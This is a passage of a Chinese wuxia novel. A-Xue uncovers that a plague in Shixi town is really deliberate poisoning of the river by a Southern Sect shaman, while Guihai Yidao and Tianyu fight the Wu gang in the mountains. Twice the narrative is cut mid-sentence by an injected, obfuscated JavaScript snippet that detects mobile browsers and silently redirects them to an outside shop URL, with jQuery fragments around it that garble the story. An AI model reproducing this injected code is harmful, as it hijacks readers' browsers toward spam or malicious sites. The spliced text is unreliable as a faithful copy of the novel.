“你是想问我为什么知道你会走这道城门,对吗?哼,这有什么难猜?从临州到丽州只有两条路,一条是走东川路,道途平坦,但要花费一个月;另一条是向北翻过凤鸣山,经石溪镇,不出十天就能到达。只不过凤鸣山被巫帮占据,一般人不敢走那条路。但你归海大侠肯定不会怕。而要进凤鸣山,就必须经过这道城门。你看,我是不是很懂你?” 天羽一脸得意地看向一刀,仿佛在等待他的夸赞,却没想到一刀黑着脸一言不发,她只好扁嘴道: “你别这么凶嘛!我是好心来把糖枣还给你。” “什么糖枣?” “就是它啊!” 天羽说着把身旁的枣红色骏马牵上前来,正是之前一刀从江陵带来。 “上次我把你的马带走了,现在还给你。你看它浑身枣红色,又是女孩子,我就叫它糖枣。它挺喜欢这名字。” 天羽一边说着,一边抚摸糖枣的鬃毛,而糖枣似乎也和天羽混熟了,毫不抗拒,反而呼着气要舔天羽的脸。 或许是忿于自己带来的马儿如此轻易叛变,一刀翻了个白眼,一声不响地走出城门。而这一表情被天羽看在眼里,又是一阵窃笑。 二人就这样一前一后地上路。 凤鸣山山麓道路平坦开阔,景色优美,天羽走走停停,或是采摘花草,或是眺望风景,一刀不理她,反而看准时机,翻身上马,扬鞭而去。本以为这样可以甩掉她,却总是没跑一会儿就在前路被天羽截住。 “归海大侠,都说了这儿的路你没我熟。” 尝试几次无果之后,一刀终于放弃,任由天羽跟在身后。 日当正午,他们已经进入凤鸣山深处。山中林障遮天,空气湿冷,天羽有一句没一句地向一刀搭话,也不管对方理不理她。本来走得好好的,但行至一处河谷时,一刀突然停下脚步,对天羽开口道: “叫你的人出来吧!” “都说了,凤鸣山是巫帮的地盘,别什么都算到我头上!” 几乎同一时间,四周树影之后跳出十几人,他们皆是身穿苗人服饰,手持各式武器,转瞬便将一刀包围。为首之人手持狼牙棒,面向一刀握拳行礼。 “请问可是护民山庄归海一刀大侠?” “是又如何?”一刀冷冷回应,眼神却转向身后的天羽。 可天羽早已躲开,跳到一棵大树。她悠然地坐在一枝树杈上,悬空摇晃双脚,惹得脚踝上银铃叮铃作响。 “先说好了,这些人不是我叫来的。不过,归海一刀来到滇南的消息的确是我散布。毕竟苗人尚武,只要打败天下第一刀,便能赚得不小名声。” “正是如此,望大侠赐教!” 话音一落,十几人同时向一刀攻去。他们挥舞着各类兵器,长链缠锁,虎刀劈砍,还有人在外围不时冷箭暗算。一刀身处阵中,刀未出鞘,只凭身法左右闪避,却未落下风。只是一旁观战之人未免看得着急。 “哎呀,你在干什么?像这些不知死活的家伙,何必手下留情?” 其实一刀并非手下留情。这一年来,他游历四方,总是不时遇上寻衅挑战之人,或是为了莫须有的仇恨,或是贪图他天下第一刀的虚名。一刀深知这些人并非善男信女,他也不是迂腐伪善之辈,他只是觉得疲惫,疲惫地等待一个时机。 终于,当一刀为了闪避身后冷箭,横跃一步,一条长链趁机而上,缠住一刀脚踝。长链带有勾刺,没入一刀小腿,鲜血渗出,众人见机,不约而同地扑上。 就在此时,只见一刀眼神一凛,手中寒光一闪,众人只听见一阵断金碎玉之声,手中兵器皆已化为碎齑。紧接着,一股刀气横贯四方,林鸟惊飞。待到归刀入鞘,那十几名苗人皆已倒在血泊之中。 这十几人之中,有的手臂被斩,有的肋骨已断,却尚有气息,呻吟哀嚎。 其中有一名少年,原本站在外围放箭。看他模样未及弱冠,却颇有神力,能拉开百斤铁弓。岂料一刀仅凭刀气,就能将铁弓斩断,而少年已受刀气所震,倒飞出一丈开外。少年好不容易爬起身,却正好对上寒光森森的刀锋和刀客冰冷的眼神。 “回去吧!”一刀冷冷道,“回去侍奉娘亲,不要再做什么天下第一的美梦。” 少年仓皇逃跑。 此时,天羽也从树下跳下,绕着一刀上下打量。 “干什么?” “你刚才为什么不杀了他们?” “他们与我无冤无仇,为什么要杀了他们?” “是啊,无冤无仇,他们就要来杀你,可你却不杀他们。传闻护民山庄地字密探归海一刀,性情冷酷,杀人如麻,今日一见,倒是名不副实。” “哼,传闻?”一刀苦笑一声,不再回避天羽的眼神,反而带着些逼问的神色与她直视,“你又了解我多少?” 天羽竟一时答不上来。 正当天羽苦苦思索如何反驳之时,密林深处传出一阵带着诡异邪气的笑声。 二人循声望去,只见重重树影之后现出一道人影,他同样身穿苗人服饰,头戴雉鸡羽冠,面涂五彩油漆。 一刀从未见过此人,天羽却认得,于是开口讥讽道: “我道是谁呢!原来是巫帮帮主。怎么着?手下太无能,只好由你这一帮之主亲自出面。这人啊,要是没本事,就乖乖躲在林子里,别出来丢人现眼。” 巫帮帮主并不理会天羽的冷嘲热讽,淡淡道: “南教圣女大驾光临,我岂能怠慢?再者说……”巫帮帮主目光转向一刀,“天下第一刀大名鼎鼎,我等仰慕已久,特来拜见!” 话至此处,巫帮帮主忽然露出一抹意味深长的笑容。 “正所谓英雄难过美人关,此话果然不错!不过色字头上一把刀,我劝归海大侠小心些好!” “你什么意思?”巫帮帮主的话越发难听,一刀已感不悦,手按在刀柄之上。 “这南教女人性子狐媚,归海大侠还是少惹为妙。就说眼前这位圣女,那头与黔国公府的狇小世子青梅竹马,这头却跑来向归海大侠献媚。” “你说什么?”这下轮到天羽动怒。 “还有那教主花白凤,先是把狇老王爷迷得神魂颠倒,眼下又和狇二王爷纠缠不清。不过,听说大明皇帝即将在滇南实行改土归流,狇王府很快就要失去地位。啊,所以才要先找好下家,让自己的女儿来接近归海大侠,到时候母女共侍一夫……” “让你胡说八道!”天羽气极,抽出腰间紫鞭朝巫帮帮主抽去。巫帮帮主闪身躲过,往密林深处逃去,天羽也飞身去追。 “喂!”一刀阻拦不及,转眼间天羽身影已消失在密林深处。一刀久经风浪,早已看出巫帮帮主存心挑衅,犹豫片刻,也追了上去。 天羽追至一处沼泽,远远望见巫帮帮主站在沼泽中央,飞身而起,手中长鞭如紫电破空,当头击下。巫帮帮主身形一纵,躲过长鞭,而天羽则落在沼泽中央。天羽刚一落地,四周枯叶之下立刻飞腾起无数毒虫,密密麻麻地向天羽涌来。 “哼,想对我用毒,可笑。” 天羽从怀中掏出一包药粉,向四周挥洒。果然,毒虫一时不敢靠近。但药粉有限,蠓虫的数量却像是无穷无尽。正值为难之时,背后一股刀气瞬间将毒虫荡开。一刀凌空一跃,伸手捉住天羽的肩膀要将她带离沼泽。巫帮帮主却趁机偷袭,袖中一只短箭射向天羽。一刀挥刀斩落,却不想那不是短箭,而是一条毒蛇,蛇身被一分为二,蛇头却还活着,转而一口咬上一刀肩头。 一刀迅速拔掉蛇头,运气封穴,以免蛇毒游走,却不免功力大减。 “哈哈哈——”巫帮帮主得意的笑声回荡林中,“天下第一刀也不过如此!归海一刀,你中了我的蛊蛇之毒,只有我的解药才能救你。你若乖乖求饶,我可以放你一马。但这位南教圣女……” 巫帮帮主目光转向天羽,凶恶毕露。 “你们南教欺人太甚,夺我巫帮地盘,逼得我躲进这凤鸣山内,今日你落在我的手上,我倒想看看花白凤要怎么求我?” 说罢,毒蠓拔出一把匕首,飞身向天羽刺来。而天羽面对直逼而来的匕首,将一刀护在身后,同时扔下手中长鞭。 “这是你自找的!” 眼见利刃将至,天羽却毫不躲闪,反而双掌一圈,巫帮帮主惊觉手中匕首如陷泥沼,进退不得。巫帮帮主诧异之际,天羽双掌一错,匕首脱手而去,紧接着,刀锋翻转,以一种极其诡异的角度刺入巫帮帮主的身体。 在巫帮帮主断气之前,只听见一句。 “能死在我南教移花接木大法之下,是你的荣幸。” 但见悲鸟号古木,雄飞雌从绕林间。今日,浩浩西南古林之中又添一缕游魂。 再将目光转回石溪镇。 夜近子时,月黑风高,阿雪按照计划便返回镇上查探。原本阿雪只想一个人去,阿凉却坚持一同前往,阿雪想到自己不熟道路,最终同意由阿凉向导。 二人依旧是从后门出,阿凉在前方带路,穿过几条复杂狭窄的巷道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292472|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又沿着水道走了一段,最终看见一座竹楼。 “这就是粮仓。” 二人借着房屋阴影隐藏自己,遥见竹楼悬于水上,正面火把通明,知道有人把守。阿凉挽起裤脚,正要下入水渠,却被阿雪拦下。 “你在这里等我就好。” 话音刚落,阿雪纵身疾跑,跃向水面。阿凉吓了一跳,粮仓竹楼临水而建,水面宽有数丈,常人决计跳跃不过。岂料阿雪身体轻盈,足尖一点,如燕子抄水,转眼间已跃上竹楼二楼。 跃上二楼,阿雪伏低身体,四下查看,寻到一处窗户缝隙,小心窥探,只见室内堆放许多麻袋和谷子,又有十数名男子,或年迈,或年轻,或正坐,或侧卧,从他们的服饰和发髻可以判定皆是汉人。 或许是因为夜风寒凉,一名男子起身走来关窗,阿雪及时决断,跃入房内。 “大家别怕!” 阿雪赶忙安抚众人,她的声音极富魄力,令人安心。室内众人原本都被这位不速之客吓了一跳,可一听她的声音,都不可思议地噤声不嚷。 “我是汉人,我是来帮你们的。” 此话一出,众人面面相觑,毕竟事发突然,谁也不敢相信一位素未谋面之人。 “公子看着面生,是从外地来的?” “我……我的确不是石溪镇人。” “公子即非本地人,也不知道此地发生何事?如何说是来帮我们?” “诸位先听我说,我是今日途径石溪镇,知道此处发生瘟疫。眼下魔教巫师在镇上妖言惑众,要抓汉人少女火刑祭祀。我眼见不平,出手大闹祭台。如今,我已得罪南教巫师,又当众夸下海口,要一天之内寻得瘟疫救治之法。诸位都是石溪镇上的大夫,疫病初发之时必定接诊许多病人,对疫情更为了解,故而我斗胆前来请教。” 一番说辞,倒让众人安心不少,却也不能彻底消除警惕之心,片刻过去,还是无一人愿意开口。 “我知道诸位大夫不信我,但请听我一言!”阿雪调整呼吸,在脑海中组织语言,“如今石溪镇突发瘟疫,诸位居住于此,妻小皆在,这里便算是你们的家乡。故土有难,有谁能够置身事外?我今日是受镇长之托来此,镇长的女儿被捉作祭品,他为了女儿,为了镇上百姓苦苦哀求,也是他告诉我诸位大夫被关押在此。你们可以不信我,但如果继续沉默,就是坐以待毙。即便此时能够躲过一劫,却难保下一刻自己和家人不会遭难。” “姑娘说得好,说得有理!”终于,人群中响起一阵苍老的声音。众人转身回望,只见一白须老者负手而立。 “宋大夫……”眼见还有人相劝,这位宋大夫只是挥手拒绝。 “人家姑娘家,又不是石溪镇人,尚且有侠义心肠,愿趟这浑水,我等世代居住石溪镇,哪有袖手旁观之理?”宋大夫见阿雪神色惊讶,捻须一笑,“姑娘不必如此讶异,老夫虽年事已高,眼神不济,却也阅人无数,姑娘为行事方便,男扮女装,可以理解。” “大夫好眼力,我的确是女子,复姓归海。” “归海姑娘有何疑问?” “是这样。我今日在祭台之上,眼见一位少女发病,她先是手脚抽搐,后又咳喘不止。我为她诊脉,先是发现她的脉象急促,乃阳盛热实之象,再探,却又细促无力,乃虚脱之脉。晚辈医术不精,不解缘由。诸位大夫自疫病发生之时便在石溪镇中,想必诊症无数,故而请教诸位大夫高见。” “姑娘所说症状,与镇上其他患者发病症状大体相同。患者先是抽搐昏迷,后咳喘不止,高烧难退,可若仔细观察,却发现患者大多手足如冰,气血虚弱,此乃体内寒热相争之症。” “怎么会……恕晚辈冒昧,晚辈略通岐黄之术,也算遍览医书,却从未见过类似此次疫病怪症之记载。” “如果这不是疫病呢?” “宋大夫此言何意?” 此言一出,众人面面相觑,似乎仍有顾虑,但最终还是下定决心。 “姑娘如此聪慧,细想就能明白。历来时疫爆发,难办在于如何控制疫病传播感染,却从未见过如此复杂的脉象。但此次瘟疫,患者皆是呈现寒热相交两种脉象,显然不是天灾。” “大夫的意思是……有人下毒!” “也只有这个解释。其实,早在瘟疫爆发之初,我和几位大夫已诊出古怪。南教巫师来时,我们也曾说过此事,可南教巫师说我等危言耸听,又说汉人医术不精,将镇上大夫抓来,囚禁于此。” “可南教巫师行事如此粗暴,镇上的百姓就不反抗吗?” “唉……此次瘟疫爆发突然,传播又快,而且还有一桩怪事,就是感染疫病患者几乎全是苗人。巫师抓住这一点大做文章,说是汉人施妖法残害苗人,镇上百姓早已吓坏了,十之八九也就信了。” “难怪巫师捉汉族少女火祭,无人敢出面反对。那请问大夫可诊断出患者所中何毒?有何解法?” “说来惭愧!滇南之地,草药种类繁多,蛊毒更是何止万千,以我等医术,未能诊断是何毒物,甚至不明白为何能够在短时间内毒害这么多人,遑论解毒?” 言及于此,宋大夫不禁神色黯然,他小心翼翼地看着阿雪,却见她坚定无畏的目光,最终跪倒在地,双手抱拳。 “老夫知道此事于理不合,为难姑娘。可所谓医者,皆有济世为怀之心,想必姑娘也是如此,否则不会插手这等闲事。眼下我等被囚禁于此,无计可施,只能祈求姑娘圣手仁心,救救石溪镇。” 宋大夫言辞恳切,只是任谁都知此事艰难,若是就此拒绝,也无可厚非。却不想阿雪伸手扶起宋大夫,淡然一笑,道: “海岳尚可倾,口诺终不移。我既答应管这闲事,自然不会半途而废。虽然眼下我不敢保证什么,但请诸位大夫相信,我定竭尽所能。” 自古言及侠义忠信之人,皆道男子。殊不知,女子心中亦有一份侠骨柔情。 9. 舍身破迷局 豪气诛奸邪 月将西沉。 这一晚上,阿雪先是去粮仓询问被囚禁的镇上大夫,后又偷偷潜入莲生药堂,找到疫病患者一一诊脉,确认宋大夫所言属实,疫病患者乃中毒之症,可即使清楚这一点,却无从得知是何毒药?有何解法?几番奔波,饶是阿雪内力深厚,也已疲惫,再加上调查进展甚微,无论她如何乐观坚强,也感到力不从心。是以此刻她颓然地坐在河边石阶之上,望着水中一轮破碎的月影发呆。 “阿雪……阿雪……” 也不知被叫了多久,阿雪才回过神来。她转头看见阿凉担忧的眼神,勉强挤出笑容。 “抱歉!我还不习惯别人这样叫我。” “那我叫你归海一刀就习惯了吗?这也不是你的真名啊!” 话说出口,阿凉才觉得后悔,而阿雪也听出其中的不对。 “你偷听我和石老板谈话?” “不是!我……我只是担心你,见你走出去,才悄悄跟着……” 阿凉自知无法辩解,他小心翼翼地看着阿雪,阿雪虽然面上生气,却无发作,只是将脸别向一侧。等了一会儿,气氛仍不见缓和,阿凉索性把心一横,再度开口道: “你不要去找他!” “找谁?” “归海一刀!”阿凉不再回避,语气也颇为坚定,“我都听到了,那样可怕的经历、可怕的人,你还去找他做什么?如果你和那样可怕的人在一起,你也不知道会经历什么。” “可是他是我过去唯一的线索,我知道他对我很重要,如果不去找他,那我能去哪里?” “你可以留下来,我会照顾你的!” 阿凉不假思索地脱口而出,但这一次并不后悔。而阿雪也听出他的意思,惊讶地看着阿凉,却对上他率直而笃定的眼神。 “抱歉……” “阿雪……” “真的对不起!”阿雪腾地站起来,后退两步,巧妙地拉开距离,“我非常感谢你救了我,如果我的行为让你误会,我只能向你道歉。” “我没有误会……” “你根本不懂!我不能留下来。”阿雪的语气颇为决绝,她想起和石老板的谈话,“就像你所说的,那样可怕的经历、可怕的人,而与他相关的我过去又是怎样?我这身武功、医术,绝不是普通汉人女子应有的。我继续留在这里,一定会带来更多麻烦。而且……我猜想我对于归海一刀也很重要,他一定在担心我、寻找我,我怎么能丢下他不管?” 阿凉终于无话可说,不论他想出多少劝她留下的理由,对眼前的女子有多么爱慕,都无法回避一个事实,他根本不了解她。 “天亮之前,你就离开这里……” “我不走!”阿凉也是一口回绝,“都说汉人最讲信义,可我们苗人也是!一旦说出口的承诺就不会违背,我说了会帮你就一定帮到底。而且,现在石溪镇的瘟疫还没有解决,我更不可能逃跑。” 这一番话在情在理,阿雪也不好再说什么。她只能坐回石阶上,转头不再看阿凉。阿凉见此,也不再坚持,只是默默解下腰上水袋,递给阿雪。 “你已经跑了一晚上,喝点水,休息一下吧!” 阿雪没有接过鼓鼓的水袋,反而困惑地看着,她清楚记得从镇长家中出来的时候,阿凉腰间的水袋还是瘪的。 “这水……是从哪来的?” “我从河里取的。”话说出口,阿凉才意识到哪里不对,连忙改口,“对不起,我忘了你们汉人是不喝生水,我现在去换。” “不是,我的意思是……”阿雪连忙站起身,指着眼前的河渠,“你的意思是你从河里直接取水,那么石溪镇上居民饮用之水都是来自这条河流?” “是啊,这里叫石溪镇嘛!听说当年中原汉商建造石溪镇时,就花重金修建水道从雪川引水,水道遍及镇上各处,几乎每家每户都饮用这条河流。” “这就是了,难怪毒性可以在这么短时间内遍及全镇,而且因为苗人惯饮生水,所以疫病患者才多为苗人。这条河流的水源在哪里?快带我去看!” 阿凉带着阿雪走出石溪镇,二人沿着水道一路溯源而上,最终找到一块被草丛掩映的界碑,而界碑旁则是一棵参天大树。 “这是……”阿雪仔细观察眼前的这棵大树,树干粗壮,枝叶舒展,开满红色的花朵,大树伸展枝干笼罩河面,洒落片片花瓣,“北山杜鹃……” “这棵树叫北山杜鹃吗?我第一次知道。” “阿凉,这棵树是……” “我听老人说,这棵树是当年出资建造石溪镇的汉商带来并且亲手种下,后来他的子孙和石溪镇人为了纪念汉商恩德,一直精心培育这棵树,算是作为中原和滇南商贸往来的象征。这种树很稀有吗?” “是,北山杜鹃原产高丽岭北一带,二百年前由高丽王进贡大明传来,原本只在宫廷栽培,后来太祖皇帝将北山杜鹃幼苗赏赐近臣,这才逐渐推广,但是北山杜鹃本身很难栽培,所以并不常见,它的花粉和汁液都可以入药。” “那……那就是说石溪镇人的瘟疫、或者说中毒,都是因为这棵树?” “不可能!《普济方》中已有记载,北山杜鹃药性寒凉,可以用来治疗热症,但是毒性较小,只摄入一点不可能中毒,就算真是北山杜鹃引起的毒症,镇上的大夫也应该诊断得出。而且这棵树起码百年前就种在这里,不可能现在才出事!” 阿雪走近几步,仔细观察,发现树枝上星星点点扑棱的磷光。她纵身一跃,捉住一点磷光,摊开手掌上一看,是一只黑色黄边的蝴蝶。 “这是……梦枕蝶?”阿凉看着阿雪手上的蝴蝶,惊讶道。 “你说这种蝴蝶叫梦枕蝶?” “对,也叫索魂蝶。这种蝴蝶数量稀少,只生活在深山峡谷,我也是在山里采药见过几次。” 阿凉再看树上,红色花朵掩映之下,蛰伏无数蝴蝶。 “怎么这里有这么多?” “这种蝴蝶有毒吗?” “没有。” “那为什么叫索魂蝶?” “一是因为有关于这种蝴蝶的传说,二是因为它的用处。” “什么用处?” “是这样,苗疆盛行练蛊。所谓练蛊,就是把无毒或者轻微毒性的虫蛇用毒物喂养,这样长大的虫蛇就在体内炼成新的毒药,这就是蛊毒。像是这种梦枕蝶本身无毒,但是它的习性是采食所栖息的植物汁粉,然后在结蛹的时候分泌汁液、磷粉,如果梦枕蝶采食的植物有毒,那么分泌的汁液、磷粉也会有毒。我听说南教中人就是用梦枕蝶培育情蛊。” “这就对了,我终于明白是怎么回事!” 随着东方天迹透出第一道曙光,阿雪感觉一直苦苦追寻的谜团已显出真相,不禁展露笑容,却不防一支冷箭已悄无声息地接近。 日近正午,祭台上又燃起火焰,南教巫师与昨日一样身穿奇装异服作法,台下依旧聚集民众跪拜,只是似乎已不像昨日那般虔诚,因恐惧而被忽略的疑虑,在经他人提点之后,再一次浮现,并逐渐蔓延。人们不禁心中疑问,这位南教巫师是否真的如此神通广大?真的能够平息疫灾? 一通装神弄鬼之后,巫师挥手示意,手下押着捆绑的祭品上台,可这一次不是少女,而是一位白须老者。 “宋大夫……”不少人认出白须老者,引得一片唏嘘。他就是莲生药堂的坐堂大夫,宋怀仁大夫。 原来,昨夜阿雪潜入莲生药堂为患者诊脉,不小心露了行踪,虽然及时逃脱,却引起南教巫师的怀疑,再加上南教巫师的手下在粮仓附近巷道发现阿凉的踪迹,南教巫师即猜出一二,于是将粮仓内被囚禁的汉人大夫捉来审问。宋大夫为免其他人受罪,出面一力担下。 巫师挥手平息众人的吵闹,指挥手下将宋大夫绑上木架,手举火把装模作样地念道: “汉人残暴,施展妖法,冲撞山神,引来的天灾,却要我们苗人弟兄承受。我此来石溪镇,为拯救苗人兄弟于水火之中,今日承接山神旨意,先拿着汉人庸医献祭,望山神息怒,降福于此……” 一阵豪迈的笑声打断巫师装模作样的祝词,循声看去,宋大夫正放声大笑。 “你笑什么?” “巫师大人这话说得有意思?”面对熊熊燃烧的火把,宋大夫不卑不亢地说道,“巫师大人说要以汉人献祭,但你恐怕有所不知,我的母亲就是苗人,我身上也有着一半苗人血脉,我也算是你的兄弟,为何山神不能降福于我?巫师大人说是汉人引来天灾,却要苗人承受。可石溪镇本就是官道枢纽,汉苗杂居,自瘟疫爆发以来,我莲生药堂收治病人不分汉苗,可眼下巫师大人却以汉苗偏见,挑拨离间,还要以活人为祭,这叫什么拯救?” “住口!”巫师厉声打断宋大夫,转身面向祭台下方,“无论这个庸医如何狡辩,石溪镇发生瘟疫是事实,这些汉人庸医救治不力也是事实。眼下大家只有相信我,只有用献祭才能平息瘟疫!烧死一个人,却能换得全镇人性命,这才是唯一的办法!” “可……昨天那名女子说她有办法……” “不错,那名汉人女子的确夸口寻找瘟疫救治方法,可眼下她人在哪里?她昨日捣乱祭台,出言不逊,眼下又逃得无影无踪,可见汉人根本不可信!” 说罢,巫师走回木架旁,耀武扬威般晃动手中火把,在宋大夫耳边压低声音说道: “我知道那个姓归海的女子昨晚到过粮仓。这是你最后的机会,说出她藏在哪里,我就饶你一命。” “哼,巫师大人刚才不是说要以我的性命换全镇平安吗?怎么现在又要饶我一命?”宋大夫刻意扯着嗓子大声说出来,语气极尽嘲讽之能事。 南教巫师被彻底激怒,他挥舞火把,眼看就要点燃木架。可突然间,一股劲风扑来,熄灭火焰。紧接着,漫天花雨洒落,南教巫师昨日见过此招,知道厉害,可根本无从躲避,本以为此命休矣,却不想这些花瓣毫无威力,只是软绵绵地扑在巫师脸上、手上。 转瞬间,一抹青色的身影飞上高台,她手提长剑,径直向巫师刺去,却被躲过,只勉强划开对方胸前衣襟。随后剑气一荡,逼退四周敌人,斩断木架绳索,将宋大夫放下。 “谁说我逃走了?”阿雪横剑睥睨,意气甚豪,“我说了在今日午时之前回来,就一定回来。反倒是巫师大人,眼下离午时还有一刻,这就着急祭祀,你对我不讲信用可以,难道对山神也如此不敬?” 巫师对这一番嘲讽毫无反驳之力,只能狠狠咬牙道: “归海姑娘这时候回来,可是有了治病之法?” “当然,我不但有了治病之法,我还查到此次瘟疫源头。”言及于此,阿雪特意停了停,转身面向祭台之下,一字一句清楚说出,“这根本不是瘟疫天灾,这些日子以来石溪镇上发生的一切是有人刻意为之,是有人下毒!” 此言一出,台下一片哗然。 “宋大夫也可以作证。” “不错!”宋大夫上前一步说道,“自瘟疫发生以来,老夫诊治许多病患,几乎所有的患者发病皆是抽搐昏迷,后又咳喘发烧,脉象呈现寒热交替,如此复杂的脉象,不可能是疫病,只能是有人蓄意下毒。” “笑话!”南教巫师急道,“你们说是下毒就是下毒?可有依据?你说的这些脉象可有人证明?” “不错,老夫一时之间拿不出有力依据,老夫今日站在这里,凭的是莲生药堂的百年招牌和我宋怀仁的一生清誉,信与不信全在诸位乡亲。” 此话一出,祭台之下鸦雀无声。原本刚才眼见宋大夫被绑上祭台之时,台下百姓已有诸多不满,除去已被阿雪挑明的心中疑虑,一是因为莲生药堂在石溪镇创立已久,百年来救死扶伤,德高望重;二是因为宋怀仁大夫医术高超,坐堂数十年来,救治病人无数,其本人更是医者仁心,在疫病之初,收治病人,分文不取,镇上百姓无不感激。 “胡说八道!”见此情景,巫师仍不死心地反驳道:“明明是你这庸医无能,才放任镇上瘟疫肆虐,眼下却要叫大家相信你?你说镇上百姓中毒,中的什么毒?什么毒药可以在短短几天时间内波及全镇?” “这一点不牢巫师操心,我已查明。”说着,阿雪抖开左手一直提着的包袱,包袱之内是一个小巧的竹笼,笼中关着好几只黑色黄边的蝴蝶,“巫师大人应该认得这个吧?” 巫师顿时面如死灰。而阿雪则高举竹笼,对着祭台之下。 “这种蝴蝶乃是滇南特有,虽然数量稀少,但是若有世代居住滇南的苗民,应该认得。” “梦枕蝶……” “不错,这正是梦枕蝶。”阿雪继续高声道,“大家世代居住滇南,应该知道苗疆练蛊之法,就是将梦枕蝶以毒物喂养,炼制新的蛊毒。” “那喂养的毒物是……” “大家可记得镇外界碑处的大树?” “那棵北山杜鹃?”宋大夫惊讶地问道。 “正是。北山杜鹃毒性微弱,原本不会引起灾害,可是经过梦枕蝶淬炼,就成为新的毒药。北山杜鹃位于镇外水源处,我昨夜前去查看,树上栖息无数梦枕蝶,梦枕蝶炼制的蛊毒不断污染水源,这才引起如今的瘟疫。” 说着,阿雪特意看向南教巫师,眼神仿佛要一眼洞穿他的内心。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292473|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过有一点奇怪,梦枕蝶本是生活在深山峡谷中,数量稀少,除非人为培育,否则怎会大量出现在石溪镇?” “荒唐!这些不过是你的一面之词。”南教巫师此刻已是汗流浃背,仍嘴硬道,“苗疆练蛊之法遍地,可却从未听说过用什么北山杜鹃练蛊。况且石溪是从雪川引水,雪川是圣洁的河流,你竟敢污蔑圣河!” “既然是如此圣洁河水,为何我听说巫师大人自打来到石溪镇,一直饮用井水,从不饮用河水?还要,素问苗人惯饮生水,我却听闻巫师大人学汉人一般将水煮沸才肯饮用,你口口声声汉人引来天灾,为何又要模仿汉人习俗?” “你到底想说什么?” “我已经说得很清楚!有人用梦枕蝶炼蛊,在镇外水源下毒,这种毒溶于水中,直接饮用毒害人体,可若煮沸,则可消解大部分毒性。显然是有心之人,利用苗人惯饮生水的习俗,下毒害人,再将这一切栽赃给汉人!” 阿雪所言,虽未点明何人所为,但任谁也听得出其话锋所指。南教巫师气得脸上青一阵白一阵,却发作不得,因为此时发怒,更显得做贼心虚。 “哼,无凭无据,你说什么都行。”南教巫师冷笑道,“就算如你所说河水有毒,最关键的还是要找到解毒的法子。” “解毒之法我自然有。”阿雪自信一笑,对着台下高声道,“请问有谁能取一桶河水来?” “水来了!” 人群之外传来一个声音,众人循声望去,正是阿凉提着一小桶水赶来。 河水被送上祭台,摆放在阿雪与巫师之中。阿雪从竹笼之中掏出一个虫蛹,当着众人面前捏碎,将黄色的汁液一点点滴入水中。 “你这是什么意思?” 阿雪从腰间布袋中取出两个茶碗分别汲水,一个递到南教巫师面前。 “巫师大人敢不敢与我一同饮下此水?” 南教巫师顿时吓得呆立。 “怎么?巫师大人既然不信河水有毒,饮了此水又有何妨?我有解毒之法,自然不怕中毒,今日以身试毒,是为了向百姓证明此法效用。巫师如此神通广大,又得山神庇佑,不妨试上一试,看看是你的巫术管用,还是我的医道救人。” 说罢,不等南教巫师出声,阿雪举起茶碗,一饮而尽,随即将碗摔掷在地,碎片迸裂之间,尽显豪气。 此刻,南教巫师已是骑虎难下,他看着台下骚动的人群,心知他在石溪镇辛苦经营的威望几近崩塌,他又想起此次任务,倘若失败,南教绝不会放过他。于是,南教巫师双手颤抖地伸向茶碗,可还未触及,却一把打翻。 “巫师大人不敢吗?” “我才不会陪你发疯!”巫师已然气急败坏,不顾形象地大吼大叫,“要试效用你自己试去,就让乡亲们看看你的解毒之法。” “巫师大人以为不喝这水就没事了吗?你难道没有想过此毒还可以通过其他方法传播?” “难道……”巫师这时想起方才扑向他的花瓣。 “梦枕蝶不仅汁液有毒,磷粉一样有毒。刚才每一片飞向你的花瓣都沾满毒粉,已被你吸入体内。巫师大人,你应该清楚此毒发作时间。” 此言一出,巫师大惊失色,下意识地摸了摸胸前,这才发现衣襟已被划破,原本仔细藏匿的药瓶不翼而飞。 “巫师大人是在找这个吗?”阿雪举起一枚小瓷瓶,“如果我猜得不错,这就是解药。” “你……”巫师已气得脸色铁青。 “苗疆蛊毒如此玄妙,我怎么可能在一天之内制出解药?世上唯一拥有解药之人,便是下毒之人。”说罢,阿雪高举瓷瓶,转身面对台下,“乡亲们都听见了,此次石溪镇瘟疫,并非天灾,更不是汉人引来灾祸,而是南教刻意为之。” 此言一出,台下哗然一片,原本因为疫灾而积累的恐惧瞬间转化为愤怒,百姓叫嚣着要涌上祭台。 “你找死!”终于,巫师撕下伪装,露出凶恶的面目。 紧接着,十数名大汉跳上祭台,将阿雪团团围住。与此同时,一列军队涌入广场,将百姓团团包围。顿时人群大乱,向外奔逃,却被士兵举着长枪推了回来。 “你的阴谋已被我拆穿,无谓再做恶事。”阿雪丝毫不畏,横剑对敌,“还不如束手就擒!” “哈哈哈,束手就擒的是你吧?”巫师一阵狂笑,面上尽显狰狞,“从一开始,我接到的任务就是利用石溪镇瘟疫挑拨汉苗冲突。原本你不来,只死几个人就够,现在怕是要斩草除根。反正石溪镇有九成汉人血脉,日后只要说是天神降怒汉人,一样能引起恐慌。” “你们为什么要怎么做?” “为什么?这就要问你们汉人皇帝!滇南原本就是苗人故乡,汉人来此砍伐山林,抢占土地,本就可恶!如今汉人皇帝又要推行什么改土归流,既然皇帝不仁,我们就拿他的子民祭天!” “不可救药!” 巫师见阿雪依旧不慌不忙,嘴角挤出一丝狞笑。 “我知道你武功高强,我的人不是你的对手。但是你的武功再高,也不可能敌过狇王府的军队。” 